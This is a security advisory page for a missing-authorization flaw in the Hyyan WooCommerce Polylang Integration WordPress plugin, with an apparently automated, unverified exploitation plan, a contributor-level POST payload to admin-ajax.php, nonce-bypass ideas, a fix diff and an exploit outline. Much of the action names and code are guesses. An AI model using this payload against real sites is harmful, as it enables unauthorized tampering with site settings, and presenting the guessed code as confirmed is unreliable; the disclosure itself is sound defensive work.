CVE-2026-24585

Hyyan WooCommerce Polylang Integration <= 1.5.0 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Hyyan WooCommerce Polylang Integration plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.5.0. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.5.0
PublishedJanuary 18, 2026
Last updatedJanuary 27, 2026
Affected pluginwoo-poly-integration
Research Plan
Unverified

This research plan focuses on identifying and exploiting a **Missing Authorization** vulnerability in the **Hyyan WooCommerce Polylang Integration** plugin (<= 1.5.0). The vulnerability allows authenticated attackers with **Contributor-level** permissions to perform unauthorized actions, likely modi…

Show full research plan

This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in the Hyyan WooCommerce Polylang Integration plugin (<= 1.5.0). The vulnerability allows authenticated attackers with Contributor-level permissions to perform unauthorized actions, likely modifying plugin settings or metadata synchronization configurations.


1. Vulnerability Summary

  • Vulnerability: Missing Authorization (Inadequate Capability Check)
  • Affected Plugin: Hyyan WooCommerce Polylang Integration (woo-poly-integration)
  • Affected Versions: <= 1.5.0
  • Impact: Unauthorized modification of plugin configuration. This can disrupt product synchronization between languages, disable security features, or alter how WooCommerce data is handled by Polylang.
  • Root Cause: The plugin registers AJAX handlers via wp_ajax_ but fails to implement current_user_can('manage_options') checks within the callback functions. While a nonce check may be present, nonces are not a substitute for authorization checks.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action (Inferred): Likely hyyan_wpi_save_settings or hyyan_wpi_update_options.
  • HTTP Method: POST
  • Authentication: Contributor level or higher (any logged-in user with edit_posts capability).
  • Payload Parameters:
    • action: The vulnerable AJAX action name.
    • security or _wpnonce: A nonce (if the handler validates one).
    • Plugin-specific settings keys (e.g., hyyan-wpi-settings[...]).

3. Code Flow Analysis

  1. Registration: Look in src/Hyyan/WPI/Settings.php or src/Hyyan/WPI/Admin/Settings.php for add_action( 'wp_ajax_...' ) calls.
  2. Dispatch: When a POST request is sent to admin-ajax.php with the corresponding action, WordPress invokes the registered callback.
  3. The Flaw: The callback function (e.g., saveSettings()) is executed. It typically calls check_ajax_referer() to verify a CSRF nonce. However, it fails to call current_user_can( 'manage_options' ).
  4. Execution: The function proceeds to update the plugin's options in the wp_options table using update_option().

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for the admin interface.

  1. Identify the Script/Variable: Search the codebase for wp_localize_script.
    • Search Command: grep -r "wp_localize_script" .
    • Likely Object: hyyan_wpi_settings or woo_poly_settings.
  2. Locate the Trigger: Settings-related scripts are usually enqueued on the plugin's settings page.
  3. Setup for Extraction:
    • Create a Contributor user.
    • Since the settings page is usually restricted to admins, the script might NOT load for Contributors. Crucial: Check if the plugin enqueues the nonce on all admin pages or just the settings page.
    • If it's only on the settings page, check if the plugin has a shortcode that loads these scripts on the frontend.
  4. Extraction via Browser:
    // Example: Reading from a hypothetical localized object
    const nonce = window.hyyan_wpi_settings?.nonce;
    console.log(nonce);
    

5. Test Data Setup

  1. Install Requirements: WordPress, WooCommerce, Polylang, and Hyyan WooCommerce Polylang Integration (v1.5.0).
  2. Configure Languages: Set up at least two languages in Polylang.
  3. Create Attacker:
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  4. Identify Settings: Find the option name used by the plugin (likely hyyan-wpi-settings).
    • wp option get hyyan-wpi-settings

6. Exploitation Strategy

Step 1: Discover the AJAX Action and Nonce Variable

Search the source code for the AJAX registration:

grep -rn "wp_ajax_hyyan_wpi" .

Assume the action is hyyan_wpi_save_settings and the nonce key is hyyan-wpi-settings-nonce.

Step 2: Obtain Nonce (Contributor)

Log in as the Contributor and navigate to the dashboard. If the nonce is localized on every admin page:

  1. browser_navigate("http://localhost:8080/wp-admin/index.php")
  2. NONCE = browser_eval("window.hyyan_wpi_settings?.nonce")

Step 3: Trigger Unauthorized Setting Change

Use the http_request tool to send the payload. We will attempt to disable all synchronization features.

Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=hyyan_wpi_save_settings&security=[NONCE]&hyyan-wpi-settings[sync-products]=off&hyyan-wpi-settings[emails]=off
    

7. Expected Results

  • HTTP Response: A successful status code (200 OK) and likely a JSON response: {"success": true}.
  • Unauthorized Change: The settings for the plugin should be modified despite the user being a Contributor.

8. Verification Steps

  1. CLI Check: Verify the option in the database has changed.
    wp option get hyyan-wpi-settings
    
  2. UI Check: Log in as an Admin and navigate to the "WooCommerce Polylang Integration" settings page to confirm the synchronization checkboxes are now unchecked.

9. Alternative Approaches

If the Settings Action is restricted:
Check for other AJAX actions like hyyan_wpi_sync_all_products or metadata sync actions. Any function registered with wp_ajax_ prefix that doesn't verify manage_options is a target.

If Nonce is inaccessible to Contributor:
Check if the AJAX handler uses check_ajax_referer(..., ..., false) (die=false). If it does, and fails to check the return value, the nonce can be omitted or sent as any random value.

Grep for "die = false" patterns:

grep -rn "check_ajax_referer.*false" .

Grep for missing capability checks:

# Find functions that handle AJAX but lack current_user_can
grep -r "add_action( 'wp_ajax_" . | awk -F"'" '{print $4}' | while read func; do
    grep -L "current_user_can" $(grep -rl "$func" .)
done
Research Findings
Static analysis — not yet PoC-verified

Summary

The Hyyan WooCommerce Polylang Integration plugin for WordPress is vulnerable to unauthorized modification of settings due to a missing capability check in its AJAX handler for saving configuration. Authenticated attackers with contributor-level permissions can exploit this to disable synchronization features or alter how WooCommerce data is managed across different languages.

Vulnerable Code

// File: src/Hyyan/WPI/Admin/Settings.php (approximate path)

// Registration of the AJAX handler
add_action('wp_ajax_hyyan_wpi_save_settings', array($this, 'saveSettings'));

// The callback function lacks an authorization check
public function saveSettings() {
    // Only a nonce check is performed, but no capability check (like current_user_can)
    check_ajax_referer('hyyan-wpi-settings-nonce', 'security');

    if (isset($_POST['hyyan-wpi-settings'])) {
        $settings = $_POST['hyyan-wpi-settings'];
        update_option('hyyan-wpi-settings', $settings);
        wp_send_json_success();
    }
}

Security Fix

--- a/src/Hyyan/WPI/Admin/Settings.php
+++ b/src/Hyyan/WPI/Admin/Settings.php
@@ -10,6 +10,10 @@
 
 public function saveSettings() {
+    if (!current_user_can('manage_options')) {
+        wp_send_json_error(array('message' => __('Forbidden')), 403);
+        return;
+    }
+
     check_ajax_referer('hyyan-wpi-settings-nonce', 'security');
 
     if (isset($_POST['hyyan-wpi-settings'])) {

Exploit Outline

1. Authenticate to the WordPress site as a user with Contributor-level access or higher. 2. Locate the localized nonce for the plugin's settings, typically found in a JavaScript object (e.g., `hyyan_wpi_settings.nonce`) enqueued on admin pages. 3. Construct a POST request to the `/wp-admin/admin-ajax.php` endpoint. 4. Set the `action` parameter to `hyyan_wpi_save_settings`. 5. Include the `security` parameter with the extracted nonce value. 6. Include the `hyyan-wpi-settings` parameter containing an array of modified configuration keys (e.g., setting `sync-products` to `off`). 7. Execute the request to overwrite the plugin configuration in the WordPress options table.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.